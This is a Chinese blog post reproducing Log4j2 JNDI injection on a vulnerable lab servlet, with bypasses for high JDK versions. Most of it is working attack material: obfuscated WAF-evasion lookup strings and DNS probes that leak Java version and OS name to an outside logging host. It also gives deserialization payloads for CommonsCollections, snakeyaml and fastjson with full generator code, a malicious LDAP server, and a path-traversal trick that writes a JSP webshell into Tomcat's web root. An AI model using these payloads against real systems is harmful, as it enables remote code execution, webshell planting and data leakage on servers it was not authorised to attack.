log4j2 漏洞绕过jdk高版本复现

前言

Log4j2漏洞出现很久了,该漏洞需要结合JNDI注入利用。在黑盒情况下往往存在各种利用失败的情况,带着实战中遇到过的问题在不会分析源码的情况下来仔细复现一下。

JNDI

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

首先 JNDI 注入就是控制 lookup 函数的参数,使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用。
而利用JNDI注入漏洞就需要考虑JDK版本的限制。

协议 JDK6 JDK7 JDK8 JDK11
RMI 6u141 以下 7u131 以下 8u121 以下
LDAP 6u211 以下 7u201 以下 8u191 以下 11.0.1 以下

因此主流JNDI利用工具用的是LDAP服务,利用方式也很多。
JYso 为例,就是

${jndi:ldap://127.0.0.1:1389/Basic/command/base64/[base64cmd]}

那么当JDK高于以上版本时,还有什么样的利用方式呢?

环境搭建

这里为方便比较不同环境和架构对log4j2的漏洞影响,使用idea引入存在漏洞的log4j2版本,创建一个javaweb项目。

<dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
</dependency>
<dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
</dependency>

<dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
</dependency>

创建一个servlet


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
 * @author cseroad
 */
public class BaseServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        Logger logger = LogManager.getLogger(BaseServlet.class.getName());
        String username = req.getParameter("username");
        PrintWriter writer = resp.getWriter();
        writer.println("username is :" + username);
        logger.error(username);
        writer.flush();
        writer.close();
    }
}

配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>baseServlet</servlet-name>
        <servlet-class>com.myvlus.BaseServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>baseServlet</servlet-name>
        <url-pattern>/baseServlet</url-pattern>
    </servlet-mapping>

</web-app>

再来个前端页面log.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<form action="baseServlet" method="post">
    用户名:<input name="username" value=""><br/>
    密码:<input name="password" value=""><br/>
    <input type="submit" value="提交">
</form>
</body>
</html>

在tomcat 7.0.107 上成功启动后dns验证一下log4j2漏洞。

image.png
image.png

基础poc

要利用log4j2漏洞,重要的是要获取jdk版本和系统架构。

${jndi:ldap://${sys:java.version}.decftp.ceye.io}
${jndi:ldap://${sys:sun.desktop}.decftp.ceye.io}
${jndi:ldap://${sys:os.name}.decftp.ceye.io}
${jndi:ldap://10.211.55.2:1389/${sys:java.version}}

WAF绕过

${:-y$}{${6pr:-j${NULL:-}}nd${6pr:-}i:l${xyf::-d${NULL:-}}ap://127.0.0.1:1389/}

高版本绕过

目前高版本绕过最常见的是一下两种方式:

  • 一种利用本地 Class 作为 Reference Factory
  • 一种利用反序列化触发本地 Gadget

我个人理解就是一种利用本地存在类,一种找出可以反序列化的类。那么黑盒情况下如何尝试这两种方法呢?

el表达式

最常见的是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法,从而执行el表达式。
利用条件是:

  • 大约Tomcat 8.0 至 Tomcat 9.0.63 之间
  • 大约SpringBoot 1.20 至 SpringBoot 2.6.7 之间
    (具体版本未仔细查找)

如在JDK1.8.0_211下,将上面环境分别切换在tomcat 7.0.107 和 tomcat 8.5.37 下
tomcat 7.0.107 利用失败

${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho}
image.png

tomcat 8.5.37 利用成功

${jndi:ldap://127.0.0.1:1389/TomcatBypass/M-EX-TomcatEcho}
image.png

还可以通过dns探测利用链,来找出可以反序列化的类。
举个例子,我在pom.xml中只需要引入存在漏洞的commons-collections、snakeyaml 版本
添加依赖

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
</dependency>
<dependency>
      <groupId>org.yaml</groupId>
      <artifactId>snakeyaml</artifactId>
      <version>1.26</version>
</dependency>

这时候可以利用dnslog去判断哪些利用链可以进行利用。推荐https://github.com/kezibei/Urldns

java -jar Urldns.jar ldap all decftp.ceye.io
image.png

commons-collections

以commons-collections依赖为例
探测commons-collections是否存在漏洞

${jndi:ldap://10.211.55.2:1389/fuzz/CommonsCollections6/decftp.ceye.io}
image.png
image.png

证明可以利用CommonsCollections6或者CommonsCollectionsK1执行命令。
进行利用

${jndi:ldap://10.211.55.2:1389/CommonsCollections6/base64/b3BlbiAtYSBDYWxjdWxhdG9y}
image.png

snakeyaml

以snakeyaml依赖为例
使用 https://github.com/artsploit/yaml-payload 项目,可任意修改AwesomeScriptEngineFactory.java里的功能。而后编译为jar包。
只需要启动一个http服务,将 http://10.211.55.2:8081/exp.jar 进行base64编码

${jndi:ldap://10.211.55.2:1389/tomcatsnakeyaml/url/base64/aHR0cDovLzEwLjIxMS41NS4yOjgwODEvZXhwLmphcg==}
image.png

fastjson

当目标环境存在fastjson 并且FastJson<=1.2.48,存在一条原生反序列化链,可以直接rce。
实验环境引入fastjson 1.2.25 版本

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.25</version>
</dependency>

fastjson利用代码

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.example.utils.ByteToBase64;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


public class FastJson1 {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static String gen() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();
        String s = ByteToBase64.ToBase64(byteArrayOutputStream.toByteArray());
        return s;
    }
}
image.png

当目标环境存在fastjson 并且FastJson>=1.2.49时,存在一条原生反序列化链,可以直接rce。
实验环境引入fastjson 1.2.6 版本

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.6</version>
</dependency>

重新更新重启应用。
fastjson利用代码

package org.example;

/**
 * @author cseroad
 */

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.bytecode.ClassFile;
import javax.management.BadAttributeValueExpException;
import org.example.utils.ByteToBase64;
import org.example.utils.Utils;

public class FastJson2
{
    public static void setValue(Object obj, String name, Object value)
            throws Exception
    {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd)
            throws Exception
    {
        ClassPool pool = ClassPool.getDefault();
        String randomStr = Utils.createRandomStr(5);
        CtClass clazz = pool.makeClass(randomStr);
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[0], clazz);

        //constructor.setBody("Runtime.getRuntime().exec(\"calc\");");

        constructor.setBody("{\n" +
                "    java.util.Formatter formatter = new java.util.Formatter(new java.io.File(\"fast.txt\"));\n" +
                "    formatter.format(\"%s\", new Object[]{\"fffff\"});\n" +
                "    formatter.close();\n" +
                "}");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static String gen()
            throws Exception
    {
        TemplatesImpl templates = (TemplatesImpl)TemplatesImpl.class.newInstance();

        setValue(templates, "_bytecodes", new byte[][] { genPayload("calc") });
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String s = ByteToBase64.ToBase64(byteArrayOutputStream.toByteArray());
        return s;
    }
}

调用FastJson1.gen方法,生成base64字符串,填入反序列化内容。
ldap 服务端为:


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://10.211.55.2:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("10.211.55.2"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 10.211.55.2:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */

        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            try {
                e.addAttribute("javaSerializedData", Base64.decode("反序列化内容"));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
image.png

成功创建出fast.txt文件。
也可以利用工具直接注入内存马

image.png
image.png

tomcat rce

tomcat 默认存在org.apache.catalina.users.MemoryUserDatabaseFactory类,可以借助该类实现文件的写入。
利用条件:

  • windows环境,知道应用的绝对路径

需要创建出和目标结构一致的目录。

image.png

json.jsp 文件内容包括恶意代码。

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

需要对rolename内容进行html编码,建议对整个payload进行html编码。

http://10.211.55.2:8000/../../webapps/ROOT/json.jsp 地址进行base64编码

${jndi:ldap://10.211.55.2:1389/tomcatrce/url/http://example.com/base64/aHR0cDovLzEwLjIxMS41NS4yOjgwMDAvLi4vLi4vd2ViYXBwcy9ST09UL2pzb24uanNw}

jndi注入以后就会在目标ROOT目录下创建出json.jsp

image.png

访问该页面即可。

image.png
image.png

参考资料

https://xz.aliyun.com/t/10829?time__1311=CqjxRDcGD%3DDt0QD%2FD0ex2QQT45OQDgjWOoD#toc-8
https://forum.butian.net/share/1184
https://j0k3r.top/2020/08/11/java-jndi-inject/#%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B
https://lemono.fun/JNDI_Bypass_HighJDK/#%E5%88%A9%E7%94%A8LDAP%E7%9A%84javaSerializedData%E6%89%93%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96GadGet

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容